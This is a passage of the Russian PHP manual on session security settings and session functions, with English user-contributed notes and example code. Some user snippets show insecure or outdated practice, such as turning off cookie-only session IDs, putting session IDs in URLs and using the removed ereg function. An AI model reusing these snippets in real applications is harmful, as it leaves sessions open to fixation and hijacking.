Предоставляя INI-настройки, связанные с сессиями, вы можете улучшить безопасность сессий. Некоторые важные настройки безопасности не имеют рекомендованных значений. Вы сами ответственны за выбор необходимых значений.

  • session.cookie_lifetime=0

    0 имеет особое значение. Он сообщает браузеру не сохранять cookie в постоянное хранилище. Следовательно, когда браузер закрывается, сессионные cookie сразу же удаляются. Если задать значение отличное от 0, это может позволить другим пользователям использовать эти cookie. В большинстве случаев лучше всего использовать "0".

    Если требуется функциональность автологина, реализовывайте его самостоятельно и никогда не используйте для этого долгоживущие сессии. Более подробно изложено выше в соответствующих разделах.

  • session.use_cookies=On

    session.use_only_cookies=On

    Несмотря на то, что HTTP-cookie имеют некоторые проблемы, всё же они наиболее предпочтительны для хранения идентификатора сессии. Когда это возможно, для управления идентификаторами сессий необходимо использовать "cookie". Большинство приложений должны использовать cookie для идентификатора сессии.

    Если session.use_only_cookies=Off, модуль сессии будет использовать идентификатор, установленный через GET или POST, если "cookie" не была выставлена заранее.

  • session.use_strict_mode=On

    Крайне рекомендуется включать session.use_strict_mode. По умолчанию не включено.

    Это не позволит сессионному модулю использовать неинициализированные идентификаторы сессий. Другими словами, сессионный модуль будет принимать только корректные идентификаторы, сгенерированные им же и будет игнорировать идентификаторы созданные на стороне пользователя.

    Из-за особенностей спецификации cookie, атакующий может сделать cookie с идентификатором сессии неудаляемой с помощью локальной базы cookie или JavaScript-инъекцией. session.use_strict_mode может не дать атакующему использовать этот идентификатор.

    Замечание:

    Атакующие могут инициализировать идентификатор сессии на своём устройстве и выставить его жертве. Они должны будут поддерживать сессию в активном состоянии для злоупотреблений. Атакующим понадобится совершить дополнительные действия для проведения атаки по этому сценарию. Поэтому session.use_strict_mode служит как предотвращение этому.

  • session.cookie_httponly=On

    Запрещает доступ к сессионной cookie для JavaScript. Эта опция предотвращает кражу cookie с помощью JavaScript-инъекции.

    Можно использовать сессионный ID как защитный ключ CSRF, но не рекомендуется. Например, HTML может быть сохранён и отправлен другому пользователю. Разработчик не должен записывать сессионный ID внутри страницы для повышения безопасности. Почти все приложения должны использовать атрибут httponly для сессионной cookie.

    Замечание:

    Защитный ключ CSRF должен периодически обновляться, как и идентификатор сессии.

  • session.cookie_secure=On

    Разрешает получать доступ к cookie идентификатора сессии только при использовании протокола HTTPS. Если ваш сайт использует только протокол HTTPS, вам необходимо включить эту опцию.

    Для таких сайтов нужно также рассматривать использование HSTS.

  • session.cookie_samesite="Lax" или session.cookie_samesite="Strict"

    Начиная с PHP 7.3, вы можете установить cookie-флаг "SameSite" для cookie идентификатора сессии. Этот флаг является способом смягчения атак CSRF (межсайтовая подделка запроса).

    Разница между Lax и Strict заключается в доступности cookie в запросах, исходящих из другого регистрируемого домена с использованием HTTP-метода GET. Cookie, использующие Lax, будут доступны в GET-запросе, исходящем из другого регистрируемого домена, тогда как cookie, использующие Strict, не будут.

  • session.gc_maxlifetime=[выбрать наименьший из возможных]

    session.gc_maxlifetime настройка для удаления устаревших идентификаторов сессий. Полагаться на эту опцию категорически не рекомендуется. Вы должны управлять жизненным циклом сессии самостоятельно.

    Сессионный сборщик мусора GC (garbage collection) лучше использовать с помощью session_gc(). Функцию session_gc() лучше всего запускать через планировщик, например, cron на *nix-системах.

    По умолчанию GC работает на вероятностном принципе. Эта настройка не гарантирует удаление старых сессий. Разработчику не следует полагаться на эту настройку, но всё равно, рекомендуется выставить её минимально возможным значением. Настраивайте session.gc_probability и session.gc_divisor так, чтобы устаревшие сессии удалялись достаточно часто. Если требуется функциональность автологина, реализуйте его самостоятельно и никогда не используйте для этого долгоживущие сессии.

    Замечание:

    Некоторые обработчики сохранения сессий не используют механизм устаревания сессий на основе вероятностей. Например memcached, memcache. Читайте соответствующую документацию для более полной информации.

  • session.use_trans_sid=Off

    Использование прозрачного управления сессионным ID не рекомендуется. Вы можете использовать его, если необходимо. Однако, отключение прозрачного управления повышает безопасность сессий в целом, убирая возможность инъекции сессионного ID и его кражи.

    Замечание:

    Идентификатор сессии может утечь через закладку в браузере, URL посланный по почте, сохранённый исходник HTML.

  • session.trans_sid_tags=[игнорируемые теги]

    (PHP 7.1.0 >=) Вы не должны перезаписывать ненужные HTML-теги. Значения по умолчанию должно быть достаточно для большинства случаев. Старые версии PHP для этого используют url_rewriter.tags.

  • session.trans_sid_hosts=[список хостов]

    (PHP 7.1.0 >=) Эта настройка определяет белый список хостов, для которых разрешено прозрачное управление идентификаторами сессий. Никогда не добавляйте недоверенные хосты. Если данная настройка пустая, то будет разрешено только для $_SERVER['HTTP_HOST'].

  • session.referer_check=[ваш исходный URL]

    Если session.use_trans_sid включён, то рекомендуется использовать эту опцию, если это возможно. Это уменьшает риск для инъекции сессионного ID. Если ваш сайт находится по адресу http://example.com/, то установите этой опции значение http://example.com/. Обратите внимание, что при использовании HTTPS, браузер не отправляет referrer заголовок. Таким образом, этот параметр не является достаточно надёжным показателем безопасности, но, всё же, рекомендуется его использовать.

  • session.cache_limiter=nocache

    Убедитесь, что содержимое HTTP не кешируется для аутентификационной сессии. Допускается кешировать только неконфиденциальный контент. Иначе содержимым могут воспользоваться. Можно использовать значение "private", если содержимое HTTP не содержит чувствительные к безопасности данные. Учтите, что "private" может оставлять конфиденциальные данные в общем кеше клиентов. Значение "public" можно использовать только, если HTTP-контент вообще не содержит никаких конфиденциальных данных.

  • session.sid_length="48"

    (PHP 7.1.0 >=) Чем длиннее идентификатор сессии, тем он надёжнее. Рекомендуемая длина - 32 символа и больше. В любом случае, не менее 26 символов требуется для session.sid_bits_per_character="5".

  • session.sid_bits_per_character="6"

    (PHP 7.1.0 >=) Чем больше бит используется для символов идентификатора сессии, тем более надёжные идентификаторы будут созданы для той же длины идентификатора сессии.

  • session.hash_function="sha256"

    (PHP 7.1.0 <) Более сложная хеш-функция будет создавать более сложный сессионный ID. Хотя коллизии с хешом почти не происходят и с MD5-хешом, тем не менее разработчику лучше использовать функции SHA-2 или новее. Разработчики также могут использовать сложные функции sha384 и sha512. Удостовертесь, что вы используете достаточно энтропии для этих функций.

  • session.save_path=[общедоступный каталог для чтения]

    Если установлено в общедоступный каталог для чтения всем, такой как /tmp (по умолчанию), другие пользователи на сервере могут захватить сеансы, получив список файлов в этом каталоге.

User Contributed Notes

theking2(at)king.ma 26-Feb-2024 07:07
It is important to realize that session.cookie_lifetime=0 will delete the cookie when the browser closes but nowadays browers tend to never close even after the last windows or tab was closed.

For startup speed purposes and to retrieve push traffic browser drop to the background hence the cookie stays put.
Derek Simkowiak 14-Dec-2018 04:04
Warning: Calling `ini_set('session.use_only_cookies', 1)` returns FALSE if `session_start()` has already been called.


Функции для работы с сессиями

Содержание

  • session_abort — Отменяет изменения в массиве сессии и завершает её
  • session_cache_expire — Получает и/или устанавливает срок действия текущего кеша
  • session_cache_limiter — Получить и/или установить текущий режим кеширования
  • session_commit — Псевдоним session_write_close
  • session_create_id — Создаёт новый идентификатор сессии
  • session_decode — Декодирует данные сессии из закодированной строки сессии
  • session_destroy — Уничтожает все данные сессии
  • session_encode — Кодирует данные текущей сессии в формате строки сессии
  • session_gc — Выполняет сборку мусора данных сессии
  • session_get_cookie_params — Возвращает параметры cookie сессии
  • session_id — Получает и/или устанавливает идентификатор текущей сессии
  • session_module_name — Возвращает и/или устанавливает модуль текущей сессии
  • session_name — Получить или установить имя текущей сессии
  • session_regenerate_id — Генерирует и обновляет идентификатор текущей сессии
  • session_register_shutdown — Функция завершения сессии
  • session_reset — Реинициализирует сессию оригинальными значениями
  • session_save_path — Получает и/или устанавливает путь сохранения сессии
  • session_set_cookie_params — Устанавливает параметры сессионной cookie
  • session_set_save_handler — Устанавливает пользовательские обработчики хранения сессии
  • session_start — Стартует новую сессию, либо возобновляет существующую
  • session_status — Возвращает состояние текущей сессии
  • session_unset — Удалить все переменные сессии
  • session_write_close — Записывает данные сессии и завершает её

User Contributed Notes

farhad dot pd at gmail dot com 17-Jun-2017 12:03
<?php
class Session
{

    public static $seesionFlashName = '__FlashBack';
    /**
     * [__construct description]
     */
    public function __construct() {

    }

    public static function start() {
        ini_set('session.use_only_cookies', 'Off');
        ini_set('session.use_cookies', 'On');
        ini_set('session.use_trans_sid', 'Off');
        ini_set('session.cookie_httponly', 'On');

        if (isset($_COOKIE[session_name()]) && !preg_match('/^[a-zA-Z0-9,\-]{22,52}$/', $_COOKIE[session_name()])) {
            exit('Error: Invalid session ID!');
        }

        session_set_cookie_params(0, '/');
        session_start();
    }

    public static function id() {
        return sha1(session_id());
    }

    public static function regenerate() {
        session_regenerate_id(true);
    }

    /**
     * [exists description]
     * @param  [type] $name [description]
     * @return [type]       [description]
     */
    public static function exists($name) {
        if(isset($name) && $name != '') {
            if(isset($_SESSION[$name])) {
                return true;
            }
        }

        return false;
    }

    /**
     * [set description]
     * @param [type] $name  [description]
     * @param [type] $value [description]
     */
    public static function set($name='', $value='') {
        if($name != '' && $value != '') {
            $_SESSION[$name] = $value;
        }
    }

    /**
     * [get description]
     * @param  [type] $name [description]
     * @return [type]       [description]
     */
    public static function get($name) {
        if(self::exists($name)) {
            return $_SESSION[$name];
        }

        return false;
    }

    /**
     * [delete description]
     * @param  [type] $name [description]
     * @return [type]       [description]
     */
    public static function delete($name) {
        if(self::exists($name)) {
            unset($_SESSION[$name]);
        }

        return false;
    }

    /**
     * [setFlash description]
     * @param string $value [description]
     */
    public static function setFlash($value='') {
        if($value != '') {
            self::set(self::$seesionFlashName, $value);
        }
    }

    /**
     * [getFlash description]
     * @return [type] [description]
     */
    public static function getFlash() {
        if(self::exists(self::$seesionFlashName)) {
            ob_start();
                echo self::get(self::$seesionFlashName);
                $content = ob_get_contents();
            ob_end_clean();

            self::delete(self::$seesionFlashName);

            return $content;
        }

        return false;
    }

    /**
     * [flashExists description]
     * @return [type] [description]
     */
    public static function flashExists() {
        return self::exists(self::$seesionFlashName);
    }

    /**
     * [destroy description]
     * @return void [description]
     */
    public static function destroy() {
        foreach($_SESSION as $sessionName) {
            self::delete($sessionName);
        }

        session_destroy();
    }
}
?>

iranian php programmer
farhad zand moghadam
Ray.Paseur sometimes uses Gmail 02-Nov-2016 02:19
PHP 5+ you cannot store StdClass and similar built-in objects in the session.  The class definitions do not exist in a way that allows PHP to serialize/unserialize the information.  This results in a fatal error; the entire contents of the session is lost.

<?php
error_reporting(E_ALL);
session_start();
var_dump($_SESSION); // INITIAL STATE
$_SESSION['hello'] = 'World';
var_dump($_SESSION); // MUTATED STATE

// AN XML STRING FOR TEST DATA
$xml = <<<EOD
<?xml version="1.0"?>
<families>
  <parent>
    <child index="1" value="Category 1">Child One</child>
  </parent>
</families>
EOD;

// STORE THE SimpleXMLElement OBJECT IN THE SESSION
$_SESSION['obj'] = SimpleXML_Load_String($xml);
Sam Yong - hellclanner at live dot com 27-Jul-2011 02:01
The following has been tested true in PHP 5.3.5.

Setting the session variables after the execution of the script i.e. in __destruct function, will not work.

<?php

class Example{

    function __destruct(){
        $_SESSION['test'] = true;
        session_write_close();
    }

}

?>

The above example will write nothing into the temporary session file, as I observed through a custom Session Save Handler.
jitchavan at gmail dot com 01-Apr-2011 06:43
IE issue :-

when form target set to iframe source and after posting form content you are setting session variables,
In this scenario if parent page having image src blank then session values set in iframe action page will be LOST surprisingly in IE ONLY.Solution is quite simple don't keep Image src blank.
ted at tedmurph dot com 07-Oct-2010 05:34
I was having problems with $_SESSION information not being written or being lost in a seemingly random way.  There was a Location: call being made deep in a Zend OAuth module, I am using an IIS server with PHP as a CGI, etc.

The answer was simply that you need to have the domain be consistent for sessions to work consistently.  In my case, I was switching back and forth between www.EXAMPLE.com:888 and EXAMPLE.com:888.  The unusual port, the hidden Location: call, the handoff with OAuth, etc all served to confuse me, but the intermitent error was caused by this simple goof of keeping the domain consistent.
hinom06 [at] hotmail.co.jp 29-Aug-2010 10:28
simple session test version 1.1

<?php
/* [EDIT by danbrown AT php DOT net:
   The author of this note named this
   file tmp.php in his/her tests. If
   you save it as a different name,
   simply update the links at the
   bottom to reflect the change.] */

error_reporting( E_ALL );
ini_set( 'display_errors', 1);
date_default_timezone_set('Asia/Tokyo');

//ini_set( 'session.save_path', '/tmp' ); // for debug purposes

session_start();

// check if session_id() exists.
/*
for example, if exists and session wont read, must send session.name as parameter in URL.

Some servers configurations may have problem to recognize PHPSESSID, even if transid value is 0 or 1.
So, this test is usefull to identify any causes.

*/
if( session_id() == '' )
{
    echo 'session_id() empty';
}else{
    echo session_id();
}
echo '<hr>';

$sessPath   = ini_get('session.save_path');
$sessCookie = ini_get('session.cookie_path');
$sessName   = ini_get('session.name');
$sessVar    = 'foo';

echo '<br>sessPath: ' . $sessPath;
echo '<br>sessCookie: ' . $sessCookie;

echo '<hr>';

if( !isset( $_GET['p'] ) ){
    // instantiate new session var
    $_SESSION[$sessVar] = 'hello world';
}else{
    if( $_GET['p'] == 1 ){

        // printing session value and global cookie PHPSESSID
        echo $sessVar . ': ';
        if( isset( $_SESSION[$sessVar] ) ){
            echo $_SESSION[$sessVar];
        }else{
            echo '[not exists]';
        }

        echo '<br>' . $sessName . ': ';

        if( isset( $_COOKIE[$sessName] ) ){
        echo $_COOKIE[$sessName];
        }else{
            if( isset( $_REQUEST[$sessName] ) ){
            echo $_REQUEST[$sessName];
            }else{
                if( isset( $_SERVER['HTTP_COOKIE'] ) ){
                echo $_SERVER['HTTP_COOKIE'];
                }else{
                echo 'problem, check your PHP settings';
                }
            }
        }

    }else{

        // destroy session by unset() function
        unset( $_SESSION[$sessVar] );

        // check if was destroyed
        if( !isset( $_SESSION[$sessVar] ) ){
            echo '<br>';
            echo $sessName . ' was "unseted"';
        }else{
            echo '<br>';
            echo $sessName . ' was not "unseted"';
        }

    }
}
?>
<hr>
<a href=tmp.php?p=1&<?php echo $sessName . '=' . session_id();?>>test 1 (printing session value)</a>
<br>
<a href=tmp.php?p=2&<?php echo $sessName . '=' . session_id();?>>test 2 (kill session)</a>
Trevor Brown 04-Aug-2010 08:17
A confirmation of behaviour, just in case this saves anyone else some time...

There is (potentially) a special case when session.gc_probability = 0 and session.gc_divisor = 0.  Depending on how they wanted to work their maths underneath, the coders *might* have opted to interpret 0/0 as 1 (which is sometimes assumed in certain maths proofs), but thankfully it seems they haven't.  With both values set to 0, the session code will follow the spirit of the directives and invoke the garbage collector with zero probability.  At least this is true with php 5.2.5 (which, to be certain, I inspected the source of).

To be safe, however, setting both to zero is *probably* not a good idea because usually 0/0 is undefined, so it could presumably mean anything (some arguments exist that claim 0/0 is equal to every fraction).  Wouldn't you rather know for sure what your probability was set to?  In other words, don't set gc_divisor = 0
Jeremy Speer 19-Feb-2010 12:14
When working on a project, I found a need to switch live sessions between two different pieces of software. The documentation to do this is scattered all around different sites, especially in comments sections rather than examples. One difficulty I encountered was the session save handler for one of the applications was set, whereas the other was not. Now, I didn't code in the function session_set_save_handler(), instead I utilize that once I'm done with the function (manually), however this function could easily be extended to include that functionality. Basically, it is only overriding the system's default session save handler. To overcome this after you have used getSessionData(), just call session_write_close(), session_set_save_handler() with the appropriate values, then re-run session_name(), session_id() and session_start() with their appropriate values. If you don't know the session id, it's the string located in $_COOKIE[session_name], or $_REQUEST[session_name] if you are using trans_sid. [note: use caution with trusting data from $_REQUEST, if at all possible, use $_GET or $_POST instead depending on the page].

<?php
function getSessionData ($session_name = 'PHPSESSID', $session_save_handler = 'files') {
    $session_data = array();
    # did we get told what the old session id was? we can't continue it without that info
    if (array_key_exists($session_name, $_COOKIE)) {
        # save current session id
        $session_id = $_COOKIE[$session_name];
        $old_session_id = session_id();

        # write and close current session
        session_write_close();

        # grab old save handler, and switch to files
        $old_session_save_handler = ini_get('session.save_handler');
        ini_set('session.save_handler', $session_save_handler);

        # now we can switch the session over, capturing the old session name
        $old_session_name = session_name($session_name);
        session_id($session_id);
        session_start();

        # get the desired session data
        $session_data = $_SESSION;

        # close this session, switch back to the original handler, then restart the old session
        session_write_close();
        ini_set('session.save_handler', $old_session_save_handler);
        session_name($old_session_name);
        session_id($old_session_id);
        session_start();
    }

    # now return the data we just retrieved
    return $session_data;
}
?>
brfelipe08 at hotmail dot com 28-Aug-2009 06:26
If you need to use sessions, and some accents required for some Latin-based languages, you should encode your files in ISO-8859-1.
You will run into some problems if you try to use UTF-8 - with or without BOM -, and ANSI will not support accents.
ISO-8859-1 will both support sessions and the accents.
edA-qa at disemia dot com 08-May-2009 12:18
WARNING for Debian users.  Just to drive you completely crazy Debian does its own form of session management and will completely ignore all alterations to the values who do within your PHP script.

Debian sets up a <crontab /etc/cron.d/php5> which deletes all files, including those in subdirectories, which exceed the gc_maxlifetime specified in the <php.ini> file only.

That is, on Debian (and likely variants like Ubuntu) modifying the session expiration settings (like gc_maxlifetime) does *NOTHING*.  You *HAVE* to modify the global <php.ini>.  Not even a <.htaccess> file will help you.
edA-qa at disemia dot com 07-May-2009 05:14
Sessions may be deleted before the time limit you set in gc_maxlifetime.

If you have multiple pages on the same server, each using the session (the same or distinct named sessions, it doesn't matter), the *minimum* gc_maxlifetime of any of those scripts ends up being the effective lifetime of the session files.

This can also apply to the lifetime coming from a CLI invocation of a PHP script on that machine which happens to use the session.

This can be bothersome since even though you think all your pages include the same file which sets up the script, even a single PHP page which doesn't can invoke the GC and have the scripts deleted.

Thus, if you need to set a long gc_maxlifetime you are best doing this through the INI file or in a .htaccess file for the entire directory.
LaurentT 03-Dec-2008 02:51
For UNIX :

One might encounter some problems with sessions, having different sites on the same server : sessions would either merge if one is using more than one site at a time or crash if sites are owned by different system users. For instance :

www.example.com is stored in /home/site1/www
www.example.net is stored in /home/site2/www

Using both www.example.com and www.example.net would cause sessions to act weird.

If you're using PHP as an Apache module, you can easely use php_value in the http.conf to set a unique session.name depending on the site. If you're using suPHP though (PHP as CGI) you can't use php_value, though you can use suPHP_ConfigPath.

Here's an example :

<VirtualHost 10.10.10.10:8081>
    DocumentRoot /home/site1/www
    ServerName www.example.com
    suPHP_ConfigPath /home/site1/server_config
</VirtualHost>
<VirtualHost 10.10.10.10:8082>
    DocumentRoot /home/site2/www
    ServerName www.example.net
    suPHP_ConfigPath /home/site2/server_config
</VirtualHost>

Each server_config folder contain a php.ini file specific to the vHost. You then just have to change the values of each session.name to unique ones and you're done !
hinom - iMasters 04-Jun-2008 09:00
simple session test

<?php
/* [EDIT by danbrown AT php DOT net:
   The author of this note named this
   file tmp.php in his/her tests. If
   you save it as a different name,
   simply update the links at the
   bottom to reflect the change.] */

session_start();

$sessPath   = ini_get('session.save_path');
$sessCookie = ini_get('session.cookie_path');
$sessName   = ini_get('session.name');
$sessVar    = 'foo';

echo '<br>sessPath: ' . $sessPath;
echo '<br>sessCookie: ' . $sessCookie;

echo '<hr>';

if( !isset( $_GET['p'] ) ){
    // instantiate new session var
    $_SESSION[$sessVar] = 'hello world';
}else{
    if( $_GET['p'] == 1 ){

        // printing session value and global cookie PHPSESSID
        echo $sessVar . ': ';
        if( isset( $_SESSION[$sessVar] ) ){
            echo $_SESSION[$sessVar];
        }else{
            echo '[not exists]';
        }

        echo '<br>' . $sessName . ': ';

        if( isset( $_COOKIE[$sessName] ) ){
        echo $_COOKIE[$sessName];
        }else{
            if( isset( $_REQUEST[$sessName] ) ){
            echo $_REQUEST[$sessName];
            }else{
                if( isset( $_SERVER['HTTP_COOKIE'] ) ){
                echo $_SERVER['HTTP_COOKIE'];
                }else{
                echo 'problem, check your PHP settings';
                }
            }
        }

    }else{

        // destroy session by unset() function
        unset( $_SESSION[$sessVar] );

        // check if was destroyed
        if( !isset( $_SESSION[$sessVar] ) ){
            echo '<br>';
            echo $sessName . ' was "unseted"';
        }else{
            echo '<br>';
            echo $sessName . ' was not "unseted"';
        }

    }
}
?>
<hr>
<a href=tmp.php?p=1>test 1 (printing session value)</a>
<br>
<a href=tmp.php?p=2>test 2 (kill session)</a>
paul at shirron dot net 05-May-2008 07:19
In php.ini, I have:

session.save_path="C:\DOCUME~1\pjs9486\LOCALS~1\Temp\php\session"

I was cleaning out the temp directory, and deleted the php directory. Session stuff quit working. I re-created the php directory. Still no luck. I re-created the session directory in the php directory, and session stuff resumed working.

I would have expected session_start() to have re-created directories in the path, if they didn't exist, but, it doesn't.

Note to self: Don't do that again!!!!
Vextor 04-Apr-2008 08:24
It seems that the garbage engine can't delete the expired session related to the itself. If there is only one session, it won't expire even if it has expired the gc_maxlifetime set.

It will be necessary another client connecting, starting a different session, and the garbage collector of this new session will be able to clean the other expired sessions.

I tested this in Windows with file sessions.
session a emailaddress d cjb d net 28-Mar-2008 11:33
It doesn't appear in the documentation, or in anyone's comment here, but setting session.gc_maxlifetime to 0 means the session will not expire until the browser is closed.

Of course this still doesn't fix the problems associated with the garbage collector doing it's own thing.
The best solution to that still appears to be changing session.save_path
Csar 07-Mar-2008 07:38
There's a bug in Internet explorer in which sessions do not work if the name of the server is not a valid name. For example...if your server is called web_server (_ isn't a valid character), if you call a page which uses sessions like http://web_server/example.php your sessions won't work but sessions will work if you call the script like this
[IP NUMBER]/example.php
carl /a/ suchideas /o/ com 30-Sep-2007 09:45
Another gotcha to add to this list is that using a relative session.save_path is a VERY BAD idea.

You can just about pull it off, if you're very careful, but note two related points:

1) The path is taken relative to the directory of the ORIGINALLY executed script, so unless all pages are run from the same directory, you'll have to set the directory separately in each individual subfolder

2) If you call certain functions, such as session_regenerate_id(), PHP will try to take the session directory relative to the exectuable, or something like that, creating an error IN the executable. This provides slightly cryptic error messages, like this:

Warning: Unknown: open(relative_path\ilti9oq3j9ks0jvih1fmiq4sv1.session, O_RDWR) failed: No such file or directory (2) in Unknown on line 0

Warning: Unknown: Failed to write session data (files). Please verify that the current setting of session.save_path is correct (relative_path) in Unknown on line 0

... so don't even bother. Just use

<?php ini_set("session.save_path",dirname(__FILE__)."/relative_path"); ?>

(or equivalent) in a file which you know is always in the same place relative to the file.

{PHP version 5.1.6}
jsnell at e-normous dot com 29-Aug-2007 01:58
Careful not to try to use integer as a key to the $_SESSION array (such as $_SESSION[0] = 1;)  or you will get the error "Notice: Unknown: Skipping numeric key 0. in Unknown on line 0"
Nigel Barlass 28-Jun-2007 06:07
Lima's note on sessions and browser's tabs needs to be modified for my version of php as the call to uniqid('') will return an alphanumeric string.
Hence the ereg statement should be:
if(!ereg('^SESS[0-9a-z]+$',$_REQUEST['SESSION_NAME'])) {...
Edemilson Lima <pulstar at gmail dot com> 17-Apr-2007 06:17
Sessions and browser's tabs

May you have noticed when you open your website in two or more tabs in Firefox, Opera, IE 7.0 or use 'Control+N' in IE 6.0 to open a new window, it is using the same cookie or is passing the same session id, so the another tab is just a copy of the previous tab. What you do in one will affect the another and vice-versa. Even if you open Firefox again, it will use the same cookie of the previous session. But that is not what you need mostly of time, specially when you want to copy information from one place to another in your web application. This occurs because the default session name is "PHPSESSID" and all tabs will use it. There is a workaround and it rely only on changing the session's name.

Put these lines in the top of your main script (the script that call the subscripts) or on top of each script you have:

<?php
if(version_compare(phpversion(),'4.3.0')>=0) {
    if(!ereg('^SESS[0-9]+$',$_REQUEST['SESSION_NAME'])) {
        $_REQUEST['SESSION_NAME']='SESS'.uniqid('');
    }
    output_add_rewrite_var('SESSION_NAME',$_REQUEST['SESSION_NAME']);
    session_name($_REQUEST['SESSION_NAME']);
}
?>

How it works:

First we compare if the PHP version is at least 4.3.0 (the function output_add_rewrite_var() is not available before this release).

After we check if the SESSION_NAME element in $_REQUEST array is a valid string in the format "SESSIONxxxxx", where xxxxx is an unique id, generated by the script. If SESSION_NAME is not valid (ie. not set yet), we set a value to it.

uniqid('') will generate an unique id for a new session name. It don't need to be too strong like uniqid(rand(),TRUE), because all security rely in the session id, not in the session name. We only need here a different id for each session we open. Even getmypid() is enough to be used for this, but I don't know if this may post a treat to the web server. I don't think so.

output_add_rewrite_var() will add automatically a pair of 'SESSION_NAME=SESSxxxxx' to each link and web form in your website. But to work properly, you will need to add it manually to any header('location') and Javascript code you have, like this:

<?php
header('location: script.php?'.session_name().'='.session_id()
      . '&SESSION_NAME='.session_name());
?>
<input type="image" src="button.gif" onClick="javascript:open_popup('script.php?<?php
echo session_name(); ?>=<?php echo session_id(); ?>&SESSION_NAME=<?php echo session_name(); ?>')" />

The last function, session_name() will define the name of the actual session that the script will use.

So, every link, form, header() and Javascript code will forward the SESSION_NAME value to the next script and it will know which is the session it must use. If none is given, it will generate a new one (and so, create a new session to a new tab).

May you are asking why not use a cookie to pass the SESSION_NAME along with the session id instead. Well, the problem with cookie is that all tabs will share the same cookie to do it, and the sessions will mix anyway. Cookies will work partially if you set them in different paths and each cookie will be available in their own directories. But this will not make sessions in each tab completly separated from each other. Passing the session name through URL via GET and POST is the best way, I think.
pautzomat at web dot de 19-Nov-2003 12:05
Be aware of the fact that absolute URLs are NOT automatically rewritten to contain the SID.

Of course, it says so in the documentation ('Passing the Session Id') and of course it makes perfectly sense to have that restriction, but here's what happened to me:
I have been using sessions for quite a while without problems. When I used a global configuration file to be included in all my scripts, it contained a line like this:

$sHomeDirectory = 'http://my.server.com/one/of/my/projects'

which was used to make sure that all automatically generated links had the right prefix (just like $cfg['PmaAbsoluteUri'] works in phpMyAdmin). After introducing that variable, no link would pass the SID anymore, causing every script to return to the login page. It took me hours (!!) to recognize that this wasn't a bug in my code or some misconfiguration in php.ini and then still some more time to find out what it was. The above restriction had completely slipped from my mind (if it ever was there...)

Skipping the 'http:' did the job.

OK, it was my own mistake, of course, but it just shows you how easily one can sabotage his own work for hours... Just don't do it ;)
shanemayer42 at yahoo dot com 19-Aug-2000 07:11
Session Garbage Collection Observation:

It appears that session file garbage collection occurs AFTER the current session is loaded.

This means that:
even if session.gc_maxlifetime = 1 second,
if someone starts a session A and no one starts a session for an hour,  that person can reconnect to session A and all of their previous session values will be available (That is, session A will not be cleaned up even though it is older than gc_maxlifetime).


Отменяет изменения в массиве сессии и завершает её

  • « Функции для работы с сессиями
  • session_cache_expire »
  • PHP Manual
  • Функции для работы с сессиями
  • Отменяет изменения в массиве сессии и завершает её

session_abort

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

session_abort — Отменяет изменения в массиве сессии и завершает её

Описание

session_abort(): bool

session_abort() завершает сессию без сохранения данных. Таким образом, сохраняются исходные значения сессии.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Список изменений

Версия | Описание
7.2.0 | Теперь возвращаемый тип этой функции bool. Раньше был тип void.

Смотрите также

  • $_SESSION
  • Директива конфигурации session.auto_start
  • session_start() - Стартует новую сессию, либо возобновляет существующую
  • session_reset() - Реинициализирует сессию оригинальными значениями
  • session_commit() - Псевдоним session_write_close

User Contributed Notes

Gulshan Kumar 22-Feb-2019 05:12
<?php
session_start();
if(!isset($_SESSION['count'])){
    $_SESSION['count'] = 1;
}else{
    $_SESSION['count']++;
    session_abort();
}
echo $_SESSION['count'];
//$_SESSION['count'] will always be 1;
//This will always echo 1 not the above code.
?>
mhd dot nickz13 at gmail dot com 02-Sep-2018 07:37
session_abort()  closes the current session and discards the changes applied to Session array in the current page  , it doesn't delete the session file
let me explain with one example.
page 1.php :
<?php
session_start();
$_SESSION['city']="Sydney";
echo "<a href=\"2.php\"> page2</a>";
?>
when you open this page , a session file is created on the server (to find out where session files are saved run "echo session_save_path()" )  with the name of session_id  and the content of  the variable :

  sess_o22iabs75j93uhc7i4jf1lecjk  (file name)
  city|s:6:"Sydney";               (content)

if we go to 2.php containing this code :

<?php
session_start();
$_SESSION['country']="Australia";
echo session_encode();
session_abort();
session_start();
echo "<br>".session_encode();
?>

when session_abort is executed , the session is closed and the change which here is the 'country' element of Session array is discarded .

Output :
city|s:6:"Sydney";country|s:9:"Australia";
city|s:6:"Sydney";
zh dot hailei at gmail dot com 17-Oct-2017 07:28
demo1
<?php
session_start();
if(!isset($_SESSION['count'])){
    $_SESSION['count'] = 1;
}else{
    $_SESSION['count']++;
}
echo $_SESSION['count'];
//above, $_SESSION['count'] will keep increase;
?>

demo2
<?php
session_start();
if(!isset($_SESSION['count'])){
    $_SESSION['count'] = 1;
}else{
    $_SESSION['count']++;
}
session_abort();
echo $_SESSION['count'];
//$_SESSION['count'] will always be 1;
?>
parsa dot mhn at outlook dot com 03-Sep-2015 02:33
To better understand this function you should execute this code first :

<?php
    // First of all choose your path , For e.g. C:/session
    session_save_path('Your Path here !');

    session_start();

    // Define a Session Variable
    $_SESSION['Key'] = 'value' ;

    Var_dump(session_status() == PHP_SESSION_ACTIVE);

    // Output : bool(True) , it means you have an open session !
?>

Then you should execute this code :

<?php
    // Choose the path that you used it in first part
    session_save_path('Your path here');

    session_start();

    // If you want to close session and keep your original data in your path , you should use session_abort()
    session_abort();

    var_dump(session_status()== PHP_SESSION_ACTIVE);

    // Output : bool(False) , it means your session closed .
?>

So if you have an open session , session_abort() will simply close it without effecting the external session data , so you can reload your data again from your path that you chose .


Получает и/или устанавливает срок действия текущего кеша

  • « session_abort
  • session_cache_limiter »
  • PHP Manual
  • Функции для работы с сессиями
  • Получает и/или устанавливает срок действия текущего кеша

session_cache_expire

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

session_cache_expire — Получает и/или устанавливает срок действия текущего кеша

Описание

session_cache_expire(?int $value = null): int|false

session_cache_expire() возвращает текущее значение настройки session.cache_expire.

Срок действия сбрасывается до значения по умолчанию (180), хранящегося в session.cache_expire во время запроса. Таким образом, нужно вызывать session_cache_expire() для каждого запроса (и до вызова session_start()).

Список параметров

value

Если value задан и не равен null, текущее время жизни заменяется на value.

Замечание: Настройка value имеет значение только, если для session.cache_limiter установлено значение, отличное от nocache.

Возвращаемые значения

Возвращает текущую настройку session.cache_expire. Возвращаемое значение должно рассматриваться в минутах, по умолчанию - 180. В случае, если изменить значение не удалось, возвращается false.

Список изменений

Версия | Описание
8.0.0 | value может принимать значение null.

Примеры

